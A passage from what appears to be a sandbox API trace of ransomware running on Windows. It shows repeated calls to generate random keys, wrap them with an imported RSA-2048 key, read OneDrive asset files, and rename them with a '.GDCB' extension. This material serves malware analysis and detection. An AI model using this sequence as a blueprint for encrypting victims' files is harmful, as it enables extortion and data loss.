phProv=0x285d4c4*=0x5c4430) returned 1 [0199.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.700] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.700] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.700] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0199.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.702] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.703] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0199.705] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a338) returned 1 [0199.705] CryptGetKeyParam (in: hKey=0x508a338, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.705] CryptEncrypt (in: hKey=0x508a338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.705] GetLastError () returned 0x0 [0199.705] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.705] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.707] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a4f8) returned 1 [0199.707] CryptGetKeyParam (in: hKey=0x508a4f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.707] CryptEncrypt (in: hKey=0x508a4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.707] GetLastError () returned 0x0 [0199.707] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.708] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.709] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.711] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.712] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1fb0, lpOverlapped=0x0) returned 1 [0199.741] VirtualAlloc (lpAddress=0x0, dwSize=0x1fb0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.746] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png.gdcb")) returned 1 [0199.750] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.753] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.753] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.753] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.755] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.755] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.755] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0199.757] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a3b8) returned 1 [0199.757] CryptGetKeyParam (in: hKey=0x508a3b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.757] CryptEncrypt (in: hKey=0x508a3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.758] GetLastError () returned 0x0 [0199.758] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0199.758] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0199.760] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a578) returned 1 [0199.760] CryptGetKeyParam (in: hKey=0x508a578, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.760] CryptEncrypt (in: hKey=0x508a578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.760] GetLastError () returned 0x0 [0199.760] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.760] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.762] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.763] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.764] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x2280, lpOverlapped=0x0) returned 1 [0199.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2280, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.775] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png.gdcb")) returned 1 [0199.793] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.795] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.797] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.797] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.797] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0199.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.801] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.801] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.805] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a678) returned 1 [0199.805] CryptGetKeyParam (in: hKey=0x508a678, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.805] CryptEncrypt (in: hKey=0x508a678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.805] GetLastError () returned 0x0 [0199.805] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.805] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0199.808] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a3f8) returned 1 [0199.808] CryptGetKeyParam (in: hKey=0x508a3f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.808] CryptEncrypt (in: hKey=0x508a3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.808] GetLastError () returned 0x0 [0199.808] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.808] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.811] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.813] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.814] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x5db10, lpOverlapped=0x0) returned 1 [0199.821] VirtualAlloc (lpAddress=0x0, dwSize=0x5db10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.834] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.gif.gdcb")) returned 1 [0199.839] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0199.840] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.841] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.841] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.841] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.841] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0199.842] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.843] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.843] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.843] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.843] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0199.846] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a5f8) returned 1 [0199.846] CryptGetKeyParam (in: hKey=0x508a5f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.846] CryptEncrypt (in: hKey=0x508a5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.846] GetLastError () returned 0x0 [0199.846] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.846] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.848] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a6f8) returned 1 [0199.848] CryptGetKeyParam (in: hKey=0x508a6f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.848] CryptEncrypt (in: hKey=0x508a6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.848] GetLastError () returned 0x0 [0199.848] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.848] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.850] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.851] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.852] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x2a10, lpOverlapped=0x0) returned 1 [0199.859] VirtualAlloc (lpAddress=0x0, dwSize=0x2a10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.863] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.png.gdcb")) returned 1 [0199.956] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0199.958] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.959] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.959] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.959] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.961] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.961] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.961] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.961] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.963] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a438) returned 1 [0199.963] CryptGetKeyParam (in: hKey=0x508a438, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.963] CryptEncrypt (in: hKey=0x508a438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.963] GetLastError () returned 0x0 [0199.963] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.963] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.965] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a738) returned 1 [0199.965] CryptGetKeyParam (in: hKey=0x508a738, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.965] CryptEncrypt (in: hKey=0x508a738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.965] GetLastError () returned 0x0 [0199.965] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.965] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.967] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.968] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.969] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1ef0, lpOverlapped=0x0) returned 1 [0199.977] VirtualAlloc (lpAddress=0x0, dwSize=0x1ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.981] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappblue.png.gdcb")) returned 1 [0199.985] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0199.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.988] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.988] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.988] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.989] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.990] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.990] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.990] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 